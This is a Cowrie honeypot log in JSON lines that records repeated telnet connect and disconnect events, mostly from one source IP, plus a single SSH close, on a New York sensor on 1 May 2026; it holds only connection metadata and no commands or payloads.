{"eventid":"cowrie.session.closed","duration":31.072567224502563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:26.443308Z","src_ip":"69.6.196.124","session":"0895bde1f117","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.407528162002563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:26.833276Z","src_ip":"69.6.196.124","session":"aee80d764ae2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.728429317474365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:26.969183Z","src_ip":"69.6.196.124","session":"f70bb0ff4927","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49476,"dst_ip":"159.203.135.109","dst_port":23,"session":"266a56b5b9b5","protocol":"telnet","message":"New connection: 69.6.196.124:49476 (159.203.135.109:23) [session: 266a56b5b9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:27.275194Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49606,"dst_ip":"159.203.135.109","dst_port":23,"session":"2372660aacd5","protocol":"telnet","message":"New connection: 69.6.196.124:49606 (159.203.135.109:23) [session: 2372660aacd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:27.465257Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49622,"dst_ip":"159.203.135.109","dst_port":23,"session":"5be8f3d754af","protocol":"telnet","message":"New connection: 69.6.196.124:49622 (159.203.135.109:23) [session: 5be8f3d754af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:27.469123Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:27.653275Z","src_ip":"103.13.206.100","session":"b41880a2c22c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49526,"dst_ip":"159.203.135.109","dst_port":23,"session":"150918db625e","protocol":"telnet","message":"New connection: 69.6.196.124:49526 (159.203.135.109:23) [session: 150918db625e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:27.723360Z"}
{"eventid":"cowrie.session.closed","duration":33.42153310775757,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:28.023204Z","src_ip":"69.6.196.124","session":"a4816702265c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.763204336166382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:28.285140Z","src_ip":"69.6.196.124","session":"0a8d5be94a43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07599139213562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:28.312425Z","src_ip":"69.6.196.124","session":"76da9350f616","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49600,"dst_ip":"159.203.135.109","dst_port":23,"session":"928ff69d027c","protocol":"telnet","message":"New connection: 69.6.196.124:49600 (159.203.135.109:23) [session: 928ff69d027c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:28.362025Z"}
{"eventid":"cowrie.session.closed","duration":30.95596671104431,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:28.446915Z","src_ip":"69.6.196.124","session":"64b0b1806d8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.808504581451416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:28.466752Z","src_ip":"69.6.196.124","session":"83717e3db4a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":49634,"dst_ip":"159.203.135.109","dst_port":23,"session":"39eadb2ccfb0","protocol":"telnet","message":"New connection: 69.6.196.124:49634 (159.203.135.109:23) [session: 39eadb2ccfb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:28.622172Z"}
{"eventid":"cowrie.session.closed","duration":30.41639995574951,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:29.339276Z","src_ip":"69.6.196.124","session":"61d7b2f9f472","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08276677131653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:29.416502Z","src_ip":"69.6.196.124","session":"8a020e968d01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60060,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1087f4306eb","protocol":"telnet","message":"New connection: 69.6.196.124:60060 (159.203.135.109:23) [session: c1087f4306eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:29.994600Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60066,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bbdf8767989","protocol":"telnet","message":"New connection: 69.6.196.124:60066 (159.203.135.109:23) [session: 4bbdf8767989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:30.446812Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60074,"dst_ip":"159.203.135.109","dst_port":23,"session":"2714da68809a","protocol":"telnet","message":"New connection: 69.6.196.124:60074 (159.203.135.109:23) [session: 2714da68809a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:30.909744Z"}
{"eventid":"cowrie.session.closed","duration":31.725704431533813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:30.972352Z","src_ip":"69.6.196.124","session":"de8a5517c8e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.281652212142944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:30.985300Z","src_ip":"69.6.196.124","session":"bb75050095f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06424903869629,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:31.294948Z","src_ip":"69.6.196.124","session":"306d7ef07c74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60078,"dst_ip":"159.203.135.109","dst_port":23,"session":"023da56d1e70","protocol":"telnet","message":"New connection: 69.6.196.124:60078 (159.203.135.109:23) [session: 023da56d1e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:31.561291Z"}
{"eventid":"cowrie.session.closed","duration":31.185003757476807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:31.986507Z","src_ip":"69.6.196.124","session":"c0068f24a6bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.721026182174683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:31.991098Z","src_ip":"69.6.196.124","session":"5a4e0f23c082","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128722667694092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:32.208767Z","src_ip":"69.6.196.124","session":"9ad8acc04c63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60082,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdbd7893ba66","protocol":"telnet","message":"New connection: 69.6.196.124:60082 (159.203.135.109:23) [session: fdbd7893ba66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:32.392060Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60086,"dst_ip":"159.203.135.109","dst_port":23,"session":"f533ab259ad0","protocol":"telnet","message":"New connection: 69.6.196.124:60086 (159.203.135.109:23) [session: f533ab259ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:32.625206Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60094,"dst_ip":"159.203.135.109","dst_port":23,"session":"987f0cfd748c","protocol":"telnet","message":"New connection: 69.6.196.124:60094 (159.203.135.109:23) [session: 987f0cfd748c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:32.707981Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60100,"dst_ip":"159.203.135.109","dst_port":23,"session":"471b23b09ec9","protocol":"telnet","message":"New connection: 69.6.196.124:60100 (159.203.135.109:23) [session: 471b23b09ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:32.872601Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60110,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d6d61b5822a","protocol":"telnet","message":"New connection: 69.6.196.124:60110 (159.203.135.109:23) [session: 3d6d61b5822a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:32.899664Z"}
{"eventid":"cowrie.session.closed","duration":30.267228841781616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:33.280998Z","src_ip":"69.6.196.124","session":"aac63b3cdbe4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60118,"dst_ip":"159.203.135.109","dst_port":23,"session":"01e96e5ad729","protocol":"telnet","message":"New connection: 69.6.196.124:60118 (159.203.135.109:23) [session: 01e96e5ad729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:33.408062Z"}
{"eventid":"cowrie.session.closed","duration":30.4785053730011,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:33.412963Z","src_ip":"69.6.196.124","session":"19f875fb917d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60132,"dst_ip":"159.203.135.109","dst_port":23,"session":"85922406ed31","protocol":"telnet","message":"New connection: 69.6.196.124:60132 (159.203.135.109:23) [session: 85922406ed31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:33.680134Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60142,"dst_ip":"159.203.135.109","dst_port":23,"session":"26ceee209c59","protocol":"telnet","message":"New connection: 69.6.196.124:60142 (159.203.135.109:23) [session: 26ceee209c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:33.868289Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60158,"dst_ip":"159.203.135.109","dst_port":23,"session":"8544d81faeea","protocol":"telnet","message":"New connection: 69.6.196.124:60158 (159.203.135.109:23) [session: 8544d81faeea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:34.246450Z"}
{"eventid":"cowrie.session.closed","duration":31.49703574180603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:34.250514Z","src_ip":"69.6.196.124","session":"653ff9cd093d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29467272758484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:34.284345Z","src_ip":"69.6.196.124","session":"71781e25d671","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60160,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d98c3cdf093","protocol":"telnet","message":"New connection: 69.6.196.124:60160 (159.203.135.109:23) [session: 5d98c3cdf093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:34.510786Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60164,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4ddfc0fb000","protocol":"telnet","message":"New connection: 69.6.196.124:60164 (159.203.135.109:23) [session: f4ddfc0fb000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:34.548989Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60174,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a010b91ba27","protocol":"telnet","message":"New connection: 69.6.196.124:60174 (159.203.135.109:23) [session: 2a010b91ba27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:34.631067Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60186,"dst_ip":"159.203.135.109","dst_port":23,"session":"3973aacf8e26","protocol":"telnet","message":"New connection: 69.6.196.124:60186 (159.203.135.109:23) [session: 3973aacf8e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:34.773473Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60196,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea9efd0de3c3","protocol":"telnet","message":"New connection: 69.6.196.124:60196 (159.203.135.109:23) [session: ea9efd0de3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:34.848515Z"}
{"eventid":"cowrie.session.closed","duration":31.874407291412354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:35.139158Z","src_ip":"69.6.196.124","session":"ec488762ed98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60212,"dst_ip":"159.203.135.109","dst_port":23,"session":"e29bd2b57306","protocol":"telnet","message":"New connection: 69.6.196.124:60212 (159.203.135.109:23) [session: e29bd2b57306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:35.208879Z"}
{"eventid":"cowrie.session.closed","duration":31.17611575126648,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:35.218957Z","src_ip":"69.6.196.124","session":"4afcdc776788","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832286596298218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:35.258860Z","src_ip":"69.6.196.124","session":"a2dc3b6670cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.364192962646484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:35.270647Z","src_ip":"69.6.196.124","session":"ce1a2613d5a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60220,"dst_ip":"159.203.135.109","dst_port":23,"session":"a289a8310f99","protocol":"telnet","message":"New connection: 69.6.196.124:60220 (159.203.135.109:23) [session: a289a8310f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:35.468136Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60236,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8282f869be2","protocol":"telnet","message":"New connection: 69.6.196.124:60236 (159.203.135.109:23) [session: e8282f869be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:35.598138Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60244,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b410d2d3bbb","protocol":"telnet","message":"New connection: 69.6.196.124:60244 (159.203.135.109:23) [session: 9b410d2d3bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:35.763659Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60258,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e568b7a0021","protocol":"telnet","message":"New connection: 69.6.196.124:60258 (159.203.135.109:23) [session: 1e568b7a0021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:35.819089Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60266,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7314714ff88","protocol":"telnet","message":"New connection: 69.6.196.124:60266 (159.203.135.109:23) [session: e7314714ff88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:35.896871Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60276,"dst_ip":"159.203.135.109","dst_port":23,"session":"632aa03b9e25","protocol":"telnet","message":"New connection: 69.6.196.124:60276 (159.203.135.109:23) [session: 632aa03b9e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:35.908555Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60288,"dst_ip":"159.203.135.109","dst_port":23,"session":"983600d9265c","protocol":"telnet","message":"New connection: 69.6.196.124:60288 (159.203.135.109:23) [session: 983600d9265c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:36.043140Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60298,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1c49b53c5aa","protocol":"telnet","message":"New connection: 69.6.196.124:60298 (159.203.135.109:23) [session: a1c49b53c5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:36.056660Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60302,"dst_ip":"159.203.135.109","dst_port":23,"session":"e822ffc81fa4","protocol":"telnet","message":"New connection: 69.6.196.124:60302 (159.203.135.109:23) [session: e822ffc81fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:36.132236Z"}
{"eventid":"cowrie.session.closed","duration":31.132031679153442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:36.184191Z","src_ip":"69.6.196.124","session":"62208842099f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12216019630432,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:36.381936Z","src_ip":"69.6.196.124","session":"242b6ad56774","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60316,"dst_ip":"159.203.135.109","dst_port":23,"session":"999f07743294","protocol":"telnet","message":"New connection: 69.6.196.124:60316 (159.203.135.109:23) [session: 999f07743294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:36.386456Z"}
{"eventid":"cowrie.session.closed","duration":30.749536752700806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:36.410374Z","src_ip":"69.6.196.124","session":"24e086398102","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60130,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ce7ccd0ce57","protocol":"telnet","message":"New connection: 69.6.196.124:60130 (159.203.135.109:23) [session: 6ce7ccd0ce57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:36.713834Z"}
{"eventid":"cowrie.session.closed","duration":30.837156295776367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:37.313632Z","src_ip":"69.6.196.124","session":"021039826cd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60314,"dst_ip":"159.203.135.109","dst_port":23,"session":"3829bddc248e","protocol":"telnet","message":"New connection: 69.6.196.124:60314 (159.203.135.109:23) [session: 3829bddc248e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:37.387084Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60168,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a4d5f5d440b","protocol":"telnet","message":"New connection: 69.6.196.124:60168 (159.203.135.109:23) [session: 3a4d5f5d440b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:37.641565Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60324,"dst_ip":"159.203.135.109","dst_port":23,"session":"c67067a4655e","protocol":"telnet","message":"New connection: 69.6.196.124:60324 (159.203.135.109:23) [session: c67067a4655e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:37.947177Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60326,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a6dddd26508","protocol":"telnet","message":"New connection: 69.6.196.124:60326 (159.203.135.109:23) [session: 4a6dddd26508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:38.236624Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60342,"dst_ip":"159.203.135.109","dst_port":23,"session":"e040e9876e4b","protocol":"telnet","message":"New connection: 69.6.196.124:60342 (159.203.135.109:23) [session: e040e9876e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:38.246775Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60350,"dst_ip":"159.203.135.109","dst_port":23,"session":"356d2b459526","protocol":"telnet","message":"New connection: 69.6.196.124:60350 (159.203.135.109:23) [session: 356d2b459526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:38.476165Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60360,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d2e33dcd921","protocol":"telnet","message":"New connection: 69.6.196.124:60360 (159.203.135.109:23) [session: 7d2e33dcd921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:38.537403Z"}
{"eventid":"cowrie.session.closed","duration":33.559136152267456,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:38.593184Z","src_ip":"69.6.196.124","session":"5bb52cf60b92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60366,"dst_ip":"159.203.135.109","dst_port":23,"session":"2098f56bf4f3","protocol":"telnet","message":"New connection: 69.6.196.124:60366 (159.203.135.109:23) [session: 2098f56bf4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:38.724517Z"}
{"eventid":"cowrie.session.closed","duration":31.420432329177856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:38.851057Z","src_ip":"69.6.196.124","session":"fdc5147b3c2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30228281021118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:38.994863Z","src_ip":"69.6.196.124","session":"5ed16f5d0cdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60376,"dst_ip":"159.203.135.109","dst_port":23,"session":"54191e7be8f1","protocol":"telnet","message":"New connection: 69.6.196.124:60376 (159.203.135.109:23) [session: 54191e7be8f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:39.023267Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.45.69.73","src_port":47310,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1c9b6b4cab9","protocol":"telnet","message":"New connection: 5.45.69.73:47310 (159.203.135.109:23) [session: b1c9b6b4cab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:39.031085Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60390,"dst_ip":"159.203.135.109","dst_port":23,"session":"11dfb75022bc","protocol":"telnet","message":"New connection: 69.6.196.124:60390 (159.203.135.109:23) [session: 11dfb75022bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:39.534724Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60404,"dst_ip":"159.203.135.109","dst_port":23,"session":"054a12669f7a","protocol":"telnet","message":"New connection: 69.6.196.124:60404 (159.203.135.109:23) [session: 054a12669f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:39.607008Z"}
